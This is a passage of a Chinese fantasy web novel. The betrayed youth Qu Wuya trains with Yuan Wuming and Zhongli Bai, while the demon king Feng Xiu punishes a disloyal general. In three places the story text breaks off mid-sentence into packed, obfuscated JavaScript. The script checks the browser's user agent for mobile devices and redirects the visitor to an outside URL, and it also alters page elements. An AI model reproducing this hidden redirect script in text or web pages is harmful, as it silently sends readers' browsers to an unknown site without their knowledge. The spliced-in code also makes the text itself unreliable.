“该道歉的人不是你。”原无名安抚地拍拍他的肩膀,“想哭就哭吧。妖就是这样薄情寡义,他们重恩但不重情义,以后不要再轻信了。” “他们的寿命比人族漫长太多,见惯了生死情爱,就算是同族之间,成婚的比率也远小于人族。更何况,他是妖王,他和你就不是一条道上的。” 原无名向来信奉男儿有泪不轻弹,但见到这双总是含笑的桃花眼流泪,也不觉得违和。 好似这一刻,他只看见一个伤心的人,无关性别。 瞿无涯闷闷地道:“我不知道。” 他今日已经说过好几句不知道。 “慢慢就会知道的。”原无名耐心地道,“不管什么事,都会过去的。” 他想了想,决定夸赞一下:“你方才骂得很好,一味地做最优选择,只会磨灭你的心气。长久下来,就会变成一个圆滑的人。人需要棱角,有时候也不一定做对事,也要学会做傻事。” 钟离柏听见外头的动静,知晓原无名回来了,大剌剌地推开门,道:“在外头鼓捣啥呢,欸,这是谁?” “我上次和你说的新朋友,瞿无涯。”原无名手掌对准钟离柏,道,“无涯,这是我朋友,钟离柏,也是钟离肃的弟弟。” 瞿无涯抬头,礼貌道:“钟离公子,你好。”他条件反射地说着话,都没意识到“钟离”这个姓的特殊。 “不用那么客气,叫我钟离就行。”钟离柏打量着瞿无涯,这人看着十分年轻,可能是二十上下,褪不去的少年天真之气,也难怪无名信他。 长得十分......对,漂亮,只能能用漂亮来形容,但又绝不会让人误认为女子。因为是清俊的漂亮,而非阴柔。阴柔太馥郁了,而这个少年看着却相当凉爽。 只是为何在哭?钟离柏想起自己在北州看过的夷罗河,那是一个春末,小雨绵绵地下着,结冰的河流缓缓融化,冰块小幅度地流动。 在北州,夷罗河已经算是融化得够快、冰块也较少的河了,再北一点的地方,河流融化时是雪堆在移动。刚刚转夏的天气还很冷,他哆嗦着裹紧披风,移动的小冰块像断线的泪珠,他和同伴打趣,夷罗河怎么哭了。 “你怎么哭了?” 瞿无涯有些局促,道:“不好意思,我,我被骗了,所以有点情绪失控。” 钟离柏对此反应不大,人当然都会被骗,他也被骗过。 “你等着,我给你个好东西,当见面礼。” 见钟离柏往房里钻,瞿无涯道:“不用——” 原无名挑眉一笑:“他要送你酒。”在山上不能乱喝酒,钟离柏又是个不喜欢独自饮酒的人,估计憋坏了。 果不其然,钟离柏抱着一坛酒,道:“这个叫千日忘,喝了这个,就什么都不记得了。来来来,我们一醉解千愁。” 竟然是千日忘?钟离柏平日对这酒宝贝得不行,今日愿意拿出来,看来他对瞿无涯观感不错。 原无名调侃道:“上次临行前我说要喝你一坛,一去生死未卜,你都不肯拿出来,合着是全要留给新朋友?” “哇,原无名,你自己说说,你靠着一句‘生死未卜’薅我多少好酒,你还好意思提?” 瞿无涯喝酒不多,更别说这种烈酒,直烧喉咙。他咳嗽两声。 钟离柏哈哈大笑。 原无名也笑道:“一口不要喝那么多。” 一醉真能解千愁吗?瞿无涯之前担心过阿休恢复记忆会变得不一样,但其实没有变,这个事实代表事情更糟。 也就是说,不管对阿休还是凤休来说,他都不重要。 要是换一个开始就好了。瞿无涯一口一口地闷声喝着酒,他之前也没想过什么喜欢不喜欢。 阿休以那种姿态闯进了他的人生,之后的很多漫长的夜晚他们都依偎在一起。他对阿休的态度早和对旁人不同,可能只是太孤独了,他想要一个家。 他只是不想再一个人。和阿休在一起时,他能感受到阿休是完全属于他的——因为阿休没有过去,不管什么节日,他们都有在一起的理由,他以为这算家人。 可是,凤休却要杀了他。 他想不通,上一秒还在做着世上最亲密的事,下一秒却能狠心杀他。 也许人和妖真的无法互相理解吧。 凭什么,凭什么凤休能这样对他?他呼吸变得急促,就因为他是一个弱小普通的人族,所以可以随意欺辱杀害吗? 这样是不对的,不管有什么理由,都不应该轻贱他人。 若他和凤休有同等的实力,他那时便可以理直气壮地质问凤休的背叛。这样才不会显得在向大人物乞求怜悯,才不用故作镇定来维持那点自尊心。 原无名本来和钟离柏兴致勃勃地在谈论什么酒当是天下第一,余光瞄见瞿无涯呆呆的,眼眶又红了,他以为是哭的——其实是瞿无涯皮薄,情绪上头容易显色。 他给钟离柏使眼色。 酒杯被捏碎,几大块陶瓷掉到桌上,瞿无涯愣神。 “抱歉,我不是故意的。” “这是?”钟离柏用眼神问原无名。 原无名:“感情债。” 小小年纪就情伤,也难怪这么伤心。钟离柏也没有感情经历,想起自家哥哥,顿觉感情害人啊。 “无涯,我问你,你喜欢她什么?” 这问到了瞿无涯,他没想过这个问题,道:“我,我和他在一起的时候很安心。” “我不是说这个,我是说她的品性才能,比如善良啊温柔啊这种,总有特殊的地方让你喜欢吧。” 凤休不善良也不温柔,专制又冷漠还很懒,妖力倒是出众,但和他又没什么关系。 “他对我挺好的,之前对我挺好的。” 钟离柏痛心疾首,他虽没和人相恋过,但许多向他倾诉感情经历的女子都说过这么一句话“他以前明明对我很好的”。 他一锤桌子,杯中水波晃动,怒道:“这是她应该做的!这个不能算。” 瞿无涯被他吓一跳,不由得坐正。 “无涯我跟你说,因为一个人对你好就喜欢是最傻的,她今日对你好明日就可以对你不好,知道吗?难道每一个对你好的人,你都要喜欢吗?世间大多得到了就不珍惜的人,不能这么轻易喜欢的。” “那,我想不出了。” 钟离柏满意地收尾,道:“那你可能是把感动误认为喜欢了,其实你可能根本就不喜欢人家。” 瞿无涯也没反驳,只是想着,难道凤休对他的伤害,会因为他不喜欢凤休而消失吗? 原无名不擅长开导人,默默地看着。 “所以,无涯,她根本就不值得你这么伤心。” 瞿无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126464|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涯恍然大悟,道:“我不是伤心,我是生气。刚才是有点伤心。” 可是你刚刚看上去明明像委屈得要哭了,钟离柏尬笑两声:“不难过就好,不难过就好。” “保持愤怒是一件好事。”原无名目光悠然,不知飘向何方,庭院水池中的竹管蓄满水,一个点头,发出清脆的声响,“愤怒能让你的感知敏锐,更好得保护自己。能伤心,能愤怒,证明你不是一个麻木、软弱的人。” 只见瞿无涯头往桌上一扑,“哐”的一声,醉倒过去。 钟离柏正等瞿无涯说“大师我悟了”,却等到一个醉鬼,失望地道:“哎哎,他酒量好差。” 血月州。 凤休手持穿云枪,两鬓碎发后扬,走进尖色塔。 尖色塔是三层建筑,因刹罗喜欢清净,也懒得折腾,不屑于用建筑彰显身份和实力,通体是玄黑色,塔刹上一轮暗红色的弯月。 在人族的记载中,这是阴恻诡异的妖塔,一层是大殿,二层则吊满了人头,作为战利品炫耀,三层没有记载,因为没有人活着出来。 大殿上,刹罗遣散了妖卫,在等他,道:“你来了。” “刹罗,名义上你是我麾下妖君,实际上,我一直以为我们算半个朋友。”凤休淡淡道,“为什么给我下蛊?” 他和刹罗相识得早,在妖界一片乱象的时候,他们并肩作战过无数回,而冥骸、谲凰是之后收在麾下。他放心将后背交给刹罗,也没想到有一天刹罗会背叛他。 刹罗没有背叛他的理由。 刹罗很了解凤休,凤休面上没情绪,但穿云枪周身银光亮起,表示武器的主人并没有那么平静。 “对不起,休。我有我的理由,我不会逃跑的,随你处置。” 这个答案显然不能让凤休满意,他眯起眼睛,将穿云枪往前一掷,擦过刹罗的脸,划出一道血痕,深深地扎进宫殿的墙壁中,宝石碎裂,乱七八糟地反射光线。 “是因为那个女子吗?那个人族女子。” 刹罗神色一动,脸上的血痕滑下几道蜿蜒的路,道:“你知道了?” “我猜的。”凤休一伸手,穿云枪回到他手中,“冥骸向我汇报,说你养了一个舞姬,我还以为你只是一时兴起。” “他还真是什么都知道。”刹罗嘲道,“我们之间的事和她没关系。” 眼见刹罗为掩护那名舞姬说如此拙劣的谎言,凤休皱眉,道:“你真是被情爱迷昏了头,一个情人而已。” 刹罗笑了,他一向甚少有表情,更别提笑容,道:“休,你很多方面都比我厉害,但感情的事,你却不懂。” 有什么不懂的?凤休想起瞿无涯,他只是没闲情去理会这些情情爱爱。 “若是懂的代价是像你一样愚蠢,那我确实也没必要懂。谁指示你干的?人族,还是妖?” 刹罗迟疑道:“我不知道。我觉得像乌山的人,他们很懂蛊。” “所以他们给你心爱的舞姬下蛊,用来威胁你对我下手?” 刹罗沉默,没否认。他想着,七情蛊总归是不致命的。若能有解药,他豁出性命给凤休弄来又何妨? 只是他打探了许久,除了神仙骨,还真没寻到其他的办法。永劫山他已经去过了,输了,月晦心善,没要他的性命。 他也别无他法,只能拿自己给凤休一个交代。 凤休一甩袖,四根消魂钉钉入刹罗手腕和脚踝处的经脉,封住他的妖力。 很快,刹罗的脸上冒出冷汗,咬紧牙关,这消魂钉可不止是封住力量那么简单,还会一直刺激经脉,简直痛不欲生。 “既然你这么喜欢那个舞姬,我会给她留一个全尸的,尸体也会送进地牢陪你。” 凤休转身要走,打算叫冥骸来善后。 刹罗叫住他:“凤休。” 凤休停住脚步,没有回头。 “留她一条命,求你。” 20. 第 20 章 “我昨日是忘了一条腰带,才想回去拿。” 瞿无涯蹲在水池旁,宿醉还头疼着,他偏头,揉着太阳穴听原无名说话。 “那条腰带是一个朋友送我的,但现在也不好再回去自投罗网。” 瞿无涯头更加痛了,道:“抱歉,原大哥,我——” 原无名打断他,道:“不,我不是要听你道歉才说这些。她叫苏盼,是一个很善解人意的姑娘。她是西州丹临人,父亲早亡,母亲卖豆腐将她拉扯大。” “她家的豆花很好吃,当时我在丹临出任务,去过几次。有一次,我碰上她被流氓骚扰,出手帮了她。后面我再去吃豆花,她就不收我的钱了。” 说到这,原无名停顿了。 瞿无涯捧着水洗脸,眨眨眼,道:“你喜欢她?她喜欢你?”他以为原无名说这些是想开解他。 “不是。”原无名否认,而后他又道,“我不是说这个,这个我不知道,我们是朋友。一年后,我路过丹临,想顺便和她见上一面。她不见了。” 这是什么走向,瞿无涯迷糊了,甩干手上的水。 “你知道,人族每年都要给妖族上贡四千个奴隶吗?” 瞿无涯摇摇头,又点点头:“好像听过,听说是随机抽取?” “对,由圣都祭司将当前户籍在册的非修道人族录入通灵仪中,再用通灵仪抽取四千个青年人。这不是说关爱老人稚子,只是怕他们没能力为妖效力。这对于人族来说是很微小的一部分人,除掉那些倒霉的、被抓去当奴隶的人,没人在意这点机率。甚至有些幸运的人,这一生身边都不会发生这件事。” 原无名凝重地抱着剑,坐在走廊的栏杆上。 “苏盼被抽去妖界当奴隶了。” 水珠从瞿无涯的脸上滑落,滴在地上。 “妖界有些地盘是未开化的,比如巨口谷,送去那的奴隶全是口粮。我托人查到她是分配去了堕天墟,然后我去堕天墟查她的踪迹,她不在那里。” “我想,她应该是死了。她的母亲哭瞎了眼睛,王族倒是给她母亲足够的抚恤金,但一个盲人如何能看守好财物,都被一些手脚不干净的亲戚顺过去了。” “我见到苏盼母亲的时候,她已经有点痴傻了。于是我找了一个声音和苏盼很像的姑娘,装作苏盼去照顾她。” 瞿无涯呆愣在原地,不知说什么好。 “我今天跟你说这些,只是跟你讲一个故事。”原无名嘴角勾起,走过去,微微弯下腰,“不是说让你从今以后憎恶妖族,我当然知道世间也有不坏的妖。” “就像世间也有很多恶人一样,我希望你,不要吃一堑再吃一堑,对人也好,对妖也罢,还是以自身安危为重。” “我知道了,原大哥。”瞿无涯露出一个笑容,脸上水痕未消,“谢谢你。” 原无名本来不是想说这些,他想告诉瞿无涯,人和妖之间的矛盾很复杂。妖固然不全是坏东西,但也绝非善类,不要太过亲近。 可他看着瞿无涯水盈盈的脸,又怎么也说不出口,好像自己在试图用成熟到腐朽思想去侵蚀新鲜的幼苗一般。 算了,这些道理,等时机成熟,瞿无涯自然会懂。他只是教教瞿无涯功夫,也算不得什么师父,还是不要乱说教,让人自然生长吧。 钟离柏拿着一张纸从外头回来,神情难辨,看着瞿无涯。 原无名问道:“怎么了?脸色怎么难看?” 钟离柏拎着那张纸,展示给他们看,道:“这上面是无涯吧。” 纸上方是三个醒目的大字“通缉令”,然后是一个男子的脸,和瞿无涯有七分像,脸旁有一行竖字“瞿无涯”,下方写着“重金悬赏,取首级者可领一千两黄金”。 “这么多钱?”瞿无涯瞪大双眼,原来自己这么值钱吗? “看这个盖章,是妖族的悬赏。”钟离柏侧头看着通缉令上的人,道,“这个金额,无涯,你得罪妖君了吗?” 得罪妖王了,瞿无涯的情绪昨夜发泄过,今日被通缉也没太惊讶。反倒是说,若凤休放过他,他才会讶异。 “算是吧。” 钟离柏识趣地没有多问,只是“啧啧”两声:“这比无名要值钱,无名最高的时候也就八百两黄金。” 瞿无涯闻言看向原无名,却发现原无名一脸严肃地盯着自己:“怎么了?原大哥。” “你现在的实力,会死在这个通缉令下的。” 瞿无涯已经看开了,道:“若不是原大哥,我昨日便死了。” “钟离,你之前说你挨打逃跑时会用的一种步法,什么步法?你教一下无涯。” 钟离柏“啊”一声,道:“可那是我自创的,呃,我,就是和你们吹一下牛皮。这教人,我有点拿不出手啊。” “要不然我找点其他功法教无涯吧。” 原无名:“都行,你看着办吧。我这几天要准备和魇箬对决,这就交给你了。” 瞿无涯一脸懵,被钟离柏拉到房间。 钟离柏从抽屉中拿出一本书,封面无字,也和外边常见的书不一样,非常薄。书翻开,文字浮在空中,可以自由翻页。用学名来说,这是一本灵书,是注入了灵力来存储文字以便携带,不至于厚厚一本还易损成为累赘。 有些灵书还会设密,寻常人打不开,方便各大势力储存秘籍。但钟离柏这本没有设。 他道:“我年少时不太用功,习惯了临时抱佛脚,按理来说钟离家的书是绝不能往外带的。但我记性也不好,当时偷偷下山怕打不过人被欺负,就悄悄印了一本带在身上。” “如今倒是都记得了,但带在身边已经成了习惯,满满的安全感。当断则断,送你吧。” “你和原大哥已经帮我很多了——” 瞿无涯这才意识到,面前的人姓钟离,那钟离柏和钟离肃是亲人? “诶诶,我跟你说,我这个人可能打架不怎么样,医术也半吊子,但看人就特别准。你的人头能值一千两黄金,你以后肯定能是个人物,就当我是在投资你吧。” 钟离柏看出瞿无涯的推拒,解释道:“原无名想投资你,还没那个机会呢。” 瞿无涯茫然地道:“为什么这么说?原大哥也教了我很多。” “但他从来不教你怎么战斗,对不对?”钟离柏嘿嘿一笑,“他练的战斗功法都太凶猛,一般人是练不了的,像我就不行。这个问题真说起来挺复杂的,和他的体质也有关系,解释起来太麻烦。” “像他那样修炼,困难归困难,收益也大。你别看他年轻,真打起来,碰上妖君也不是没有一战之力。但他当刺客就不能用那些功法,只能用用启天剑法这种烂大街的招式。” 瞿无涯很平静,因为他根本听不懂。 钟离柏眯眼看他,道:“你觉得无名不够强?” “没有啊,我知道原大哥很厉害。”瞿无涯赶紧解释,只是不知道这个“很厉害”具体是多厉害。他对修为的认知只停留在有没有阿休厉害,但如今他才知道这个参考逻辑多可笑。 凤休是妖王,这世上本就没有人比凤休厉害。 钟离柏被瞿无涯的反应刺激得冷静下来,他确实是直觉生物,容易人来疯。他和瞿无涯说的东西有点多,事关原无名的身份,他不能这么轻率。 瞿无涯太有亲和力,又一脸纯真良善,他不自觉地就信任了瞿无涯。好在他看人没有错过,希望这次也不要错。 且根据瞿无涯的回应来看,像是不太在意。无名也说过瞿无涯从前并不修道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126465|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许根本听不懂他在说什么。 “你真的一点修炼基础也没有?” 瞿无涯熬了几个大夜看钟离功法,眼下一片青黑,点点头。 钟离柏叹口气,道:“好吧,你确实有资格觉得无名不够强。你这天赋高到自学都可以,不用我教。” 原无名路过,闻言微笑,调侃道:“看来是我之前教得太差,耽误无涯进步了?” 瞿无涯被他们逗得满脸通红,道:“你们就别取笑我了。原大哥你也别笑,你确实不会教人。我问你说怎么隔空取物的,你说就那样伸手拿,想着东西过来就过来了。” “结果害我对着东西瞪眼一个时辰,怎么想它都不过来。我后面去书铺翻书才知道,是要用灵力控制着运过来,得要非常熟练才能像看起来是飞过来的一样。” 他说着,用灵力去运池塘的水,一串小水柱飞在空中,歪七扭八,最后坠机落在地上。 很显然,他并不熟练。 原无名挠挠头,道:“是吗?这个东西太基础了,我也不记得原理是什么。” 御物的攻击术法对瞿无涯来说还是有点困难,他要从最基础的开始学起,化灵力为攻击。 聚灵为刃,要控制好力道和准度,他不停地重复着动作,直到割落树上的一片枯叶。 成功了! 钟离家的功法以医学为主,在战斗方面专研得并不深,这也有他们的道理,毕竟谁也不愿意得罪大夫。 这本灵书,除掉大量治疗功法,与战斗相关的规范功法有三套。两套刀法,一套剑法。 剑法叫万指变,共有三式,分别是青山下、潮水归、晚云落。 钟离柏在一旁看着他修炼,道:“我学的是刀,若你要练万指变,我帮不到你什么。但你要从练剑开始,基础的招式里融入灵力去使用,再去学剑法会更合适。” 关于基本功,瞿无涯不规范的地方已经被原无名纠正好,也学会怎么把灵力融入剑中。 “这个原大哥教过我。” “你天赋很高,就是修行得有些晚。若是继续修行下去,你的寿命也会比普通人长许多,倒也不差这十几年。” 瞿无涯问道:“你和原大哥修炼多少年了?” “你看我们像什么年纪?”钟离柏不答反问。 这怎么看得出来,修行之人能维持年轻样貌几十年,瞿无涯故作认真道:“五十了?” 钟离柏瞪他,道:“喂,无涯,之前没看出来你是这种人。我哪里像五十岁?” 瞿无涯乐不可支,道:“你们灵力高强,我自然不敢把修为往小了猜。” 真是坏心眼,钟离柏也不卖关子,道:“我今年二十六,无名二十七。” 这和瞿无涯想象得差不多,所以他的反应很平静。 经过几天相处,钟离柏也明白瞿无涯不是傲慢,而是无知,他根本不懂这个岁数配上原无名的实力是多么令人震惊的事。 “那原大哥是世间天赋最高的人吗?” 钟离柏摇头,道:“不是,这世间天赋高的人如鲤鱼过江,无名不过是其中之一,但他的机遇不是常人能比的。若要论个天赋最高,那非王太子莫属。” “王太子三岁入道,五岁挥剑,九岁拔出王族传承的轩辕剑,就此受封王储,十二岁练成王剑,十五岁的时候打败了他的师父肖李散人,尽管是一百次中赢了一次,但那也很难得了。可之后他的病症爆发,这些年一直在潜心养病,修炼上也不得已被耽搁。” “他得了什么病?我听说是先天的病症,怎么会在十五岁才发作?” 钟离柏沉默了一会,才道:“这是王族秘辛。” 瞿无涯对秘辛并不多感兴趣,闲聊便就此中止,他继续专心修炼。 21. 第 21 章 王上下了命令,谲凰得在沧澜城待到魇箬身亡,实话说,挺无聊的。沧澜城他早些年就逛了个遍。 他看着这小小的院落,四处都是王上的气味,还有那个人族的,他的指甲深深嵌入掌心。 干净的衣物堆积在一处,看样子是混着穿,他冷笑一声,被下贱的人族污染过,他得帮王上抹去这段不堪的情事,在任何方面。 火苗窜起,逐渐变旺,火舌吞灭房舍,热腾腾的烟雾熏满整条巷子。 人们被惊醒,叫喊声、脚步声,喧嚣不止。 “走水了!走水了!” “快拿水桶来!” 谲凰在暗处静静地看着这场大火,勾起嘴角,等明日,那个人族的通缉令就会从布满沧澜城开始,通缉到整个人界。 为维护王上的声誉,这件事和王上不会扯上一点关系,总归在人族眼里,妖要杀人也不需要什么正经理由。 接下来,就是等魇箬的死讯了。他捏着玉佩,缓慢地抚摸上面的纹路,留下这块玉佩,就是他最出格的私心。 原无名和钟离柏在商量幻境的事,幻境所涉甚广,甚至不同人所设幻境的习惯不一样也会让幻境千差万别,更别说能力不同带来的差别。 魇箬是妖族,又是狐族,天生就有更高的幻术天赋。一些浅显的幻术,在别人还在练习的时候,她就已经能运用自如。 幻术再往上,就是幻境,这不似幻术那般短时间的控制,一不小心可能就疯魔甚至是沉溺在其中长睡不醒。纵然魇箬的修为一直被诟病,但她在幻术上的能力无人质疑。她这个年纪,能制造出幻境,就算狐族里,也是少见。 等钟离柏去屋内拿书以论证他的观点,瞿无涯道出他的疑虑。 “原大哥,凤休已经知晓你要再杀魇箬,不会插手吗?” 原无名先是一愣,沉思:“你说的也是,我还真没想过这点。” 他想了想,道:“我想应该不会,魇瞳不是站在妖王那边的。妖王没必要为魇箬费这个心思,但若他想拉拢魇瞳,倒也是有可能。不过,他人肯定是要回王都的,只要他不在,我就能有把握杀死魇箬。” 原无名边摇头边释然地笑:“杀这种旁门左道的目标最麻烦了,他们的难杀往往不在实力有多强,而是他们会尽量避免和你正面对决。若是经验不足,一不小心中他们的阴招,那就倒霉了。” “景同要是听见你说她是歪门邪道,你这把剑估计要被回收了,再被困在阵法中折磨个七天七夜差不多吧。” 钟离柏闻声而出。 原无名笑眯眯:“若真有那么一天,我就告诉景同,她和小眉的绯闻就是你传出去的。” 钟离柏举起双手,道:“我错了,哥。” 想到哥,他又叹气:“也不知道我哥怎么样了,不会已经在幻境和妖女相亲相爱了吧。” 原来钟离肃是钟离柏的哥哥。 这些日子,瞿无涯常常听他们提起共友,可以得知他们几个人一起游历过四州,有过很潇洒肆意的时光。 钟离柏欺软怕硬,看见瞿无涯笑,两只手便去捏他的脸,道:“好你个小子,我也算你半个师父,你敢取笑师父?” 在这种时刻,钟离柏就是半个师父,平常呢,钟离柏就是同辈——嗯,和刚十八的瞿无涯同辈。原无名说他的年龄很有弹性,老牛蹭嫩草的光。 瞿无涯被捏得呲牙咧嘴,道:“我是觉得这样很好,就是朋友在一起吵吵闹闹的。” 他有点想陶梅了。 “很好?”钟离柏大叫,“你是不知道我和那两个毒妇在一起的日子多艰难,简直度日如年,无名又是个冷心冷肺的,看着我被欺负,只有——只有咳咳,好心,温柔待我。” 蹂虐了好一会,钟离柏才满意地松开手,瞿无涯的脸红红白白得彰显他下手多重,他嘴微张:“哇,你的皮也太薄了吧。” 他又回味了一下刚才的手感,道:“还很滑,年轻就是好啊。”他摸摸自己的脸,摇摇头。 “一个大男人,在女子那受了气,撒到无涯身上。”原无名啧啧两声,“你也就这点出息。” “诶诶,无名你这个思想就不对了。”钟离柏道,“男人在女子那受气被你说得多丢人一样,这个技不如人,和性别没关系,我就算是个女的,我也斗不过她们。” “更何况,世间大多数人都不如她们,我只是其中之一。” “我也有一个朋友名字是梅,刚刚听你们说小眉,我就想起她了。” “这样吗,那很巧。”钟离柏问道,“你那个朋友是怎么样的?” “她很活泼,善良聪慧,对人也热情。” 钟离柏颔首道:“那你这个小梅挺好的,不像诸眉人,就是一个蛇蝎心肠的女人,你以后若是见到她,记得离远一点。” 原无名忍不下去钟离柏的诋毁,道:“无涯,你别听他乱说,小眉性子温柔,只是偶尔调皮一点。” 后面半句是对钟离柏说:“你少叫她媒婆,她也能少打你几顿,天天玩媒人的谐音,你不是找打吗?” 钟离柏表情夸张,不可置信地看着原无名,道:“能不能别睁眼说瞎话,她那是只对你温柔。而且是她先欺负我,我才反击的好不好?再说了,我叫的可不是媒人的媒,是发霉的霉。” 原无名反驳道:“她对景同也温柔,你还是反思一下自己吧。” 也不知道陶梅怎么样了,瞿无涯看着天边的彩云。他还想着带陶梅去北州,但如今顶着通缉令自身难保,一时半会也兑现不了诺言。 “我不嫁!” 陶梅红肿的眼睛流下泪水,声嘶力竭地喊。 “你都十七岁的老姑娘了,这个也不嫁那个也不嫁,你是想嫁个什么神仙吗?” 陶母满脸怒色。 “我不管我就是不嫁!” 陶父冷声道:“还是说你想着瞿家那个小子?他不知何时能归来,难道你要等他一辈子吗?” 陶梅梗着脖子不说话。 陶母握着她的手,道:“梅儿,从小到大,爹娘宠你疼你,只是这婚事是人生大事,由不得你性子胡来。村长对我们多有照顾,你和奇胜那孩子也是自幼相识,知根知底的。他对你的好,我们也是看在眼里。” “如今李家遭遇祸事,想要个媳妇留后,嫁过去,他们会对你好的。” “李奇胜喜欢我就这样害我是吗,他要去给妖做奴隶了,就让我给他守活寡?他倒霉,那我不倒霉吗?” 陶梅咬着嘴唇,最终还是没忍住,道:“你们就是真的为我好吗?只不过是陶书到了上学的年纪,你们想让村长帮忙介绍他去镇上的私塾。” 陶父的脸一阵红一阵青,怒道:“不嫁你就给我滚!我就当白养你这么大,养了一个白眼狼!” 爹娘待她一向都很好,陶梅不明白,为何在这个婚事上,爹娘就像陌生人一般残忍。 她哭着冲出门外,往山上跑。她想起无涯,不知道无涯现在过得怎么样。 可惜她没有无涯那么勇敢,她离开村子,也没有正经谋生的手段,只会些刺绣算术还有农活。而且她一个人,又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126466|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会武功,要是碰到坏人,指不定要被卖到哪里去。 陶梅抱着膝盖在山坡上哭泣,等哭累了,才抬起头,余光瞟见旁边有人在采草药,无声无息的,吓她一条。 “啊!我的娘啊!” 清秀的少年看她一眼,道:“喊什么,我早来了,你哭太大声没发现而已。” 少年如墨的长发垂下,用发带绑起,额前的碎发遮住些许黑色的瞳孔。 陶梅认得他,以前无涯带她偷偷看过,这是那个半妖! “你是,遥幽?” “你认识我?”遥幽奇怪地看她一眼,这个年纪,应该没见过他才对。 “无涯,瞿无涯,他经常和我提起你。”陶梅止出抽泣。 遥幽眉毛微动,道:“你知道他去哪了吗?这么久还没回来。”他只听瞿无涯兴奋地说要出趟远门,来跟他告别。 因瞿无涯只是在门外喊了几句话就走了,他也没能多问些什么。 陶梅答道:“他带着阿休去沧澜城求医了。阿休的身份已经被村民们发现,也许他不会回来了。” “哦。”遥幽慢吞吞地道,“那你在哭什么,想他吗?” “我爹娘要逼我嫁一个我不想嫁的人。”陶梅揪着地上的草,道,“其实他们对我已经够好了,我都十七了,村里比我大的姑娘都许了人家,他们纵容我一直胡闹到现在。” 遥幽无父无母,没理解其中的逻辑,道:“谁规定的十七岁就要嫁人?” 陶梅叹气,停止摧残草地:“哎,对妖来说十七岁没什么,对人来说,十七岁已经是老姑娘,我家隔壁十五岁的姑娘都当娘了。” “你不想成亲,和多少岁没有关系,就算你五十岁,也有权力拒绝成亲。” 遥幽也像她一样坐下来,看着火烧云和夕阳,寒冷的冬日让草木变得寂静。大概,无涯走后,他还是有点寂寞的,才会倾听人族少女的心事,还开解她。 “很多时候,不是没有抉择的能力,而是没有割舍的勇气。” 黄土枯树,残叶落日,少男少女并排坐在土坡上,一蓝一粉,美好却不暧昧,少女头上是一块白色的头巾,发尾编成大麻花辫,一片绿叶从树上飘落下来。在瑟瑟静谧的画面中,突兀的生机。 陶梅抓住绿叶,惊道:“这不是枯树吗,怎么还有绿叶?”她抬头一看,发现其他的叶子都是枯黄的,她握紧手。 草木中神奇的地方多着呢,不过是一片绿叶,遥幽难得发了善心,没破坏一个少女的惊喜。 “谢谢你。”陶梅绽开笑容,道,“对不起,之前我也和大伙一样对你有偏见,觉得你很危险。” “你这么想才是正常的,像瞿无涯那样的蠢人还是少一些为妙。”遥幽似笑非笑。 陶梅不满道:“无涯才不蠢,你不能这样说他。” 遥幽举起左手,霎时间,白玉般的五指变成利爪,雪白的皮毛上是黑色的指甲,尖锐可怖。 “啊!” 陶梅一惊,往旁边一避,道:“你干什么?” 人形态下唯有一只手是兽形,不人不妖的模样让人莫名毛骨悚然,鸡皮疙瘩布满她衣服之下的肌肤。 “看吧,聪明人都会被吓到。”遥幽面无表情地收起兽爪,“只有蠢人才会说你的狗爪真好看,可以变回原形让我摸一下吗?” “哈哈。” 这明明是狼爪,陶梅懂了遥幽的意思,顿时乐不可支。 少女的笑声充斥在落日之下,少男冷淡地发言威胁。 “想死吗?还没笑够?” 22. 第 22 章 “原大哥,我想和你们一起进幻境。” 原无名夹菜的手顿住,下意识想拒绝,但见瞿无涯目光坚毅,丝毫没有平时的言笑晏晏,知晓瞿无涯是下定决心才说这话。 瞿无涯心中忐忑,原无名忙于修炼,他不好打扰,才在吃饭的时候提出。 这时,他终于琢磨出独身的好处。之前凤休说他迷茫,其实是因为他从未想过两个人的生活,他不知该怎么做——也许他也没自己想象中那么渴望家人,不过是叶公好龙罢了。 现在孑然一身,想怎么做就怎么做,完全不需要考虑其他的。他本十几年过得都是这样快活的日子,和凤休朝夕相处几个月竟全忘光这份潇洒。 原大哥说得对,他们不是一路人。就算是凤休还没恢复记忆,他们也是殊途。若凤休在,他不能这样轻易地决定进入环境,或许凤休会出手,这样那样的问题迎刃而解。 那这一切对他来说,不会有任何的收获。他和凤休的差距太大,且不论人妖之别,光是经历便是朝菌不知晦朔。 “无涯想去就带他去嘛。”钟离柏倒是很支持,“多见识点幻术的手段,对他以后也有好处。反正你保护我一个也是保护,保护两个也是保护。” “你少瞎起哄,人来疯。”原无名失笑,“我只是担心,跟着我不是一件好事。” 钟离柏:“这也是,你运气一直很差。” 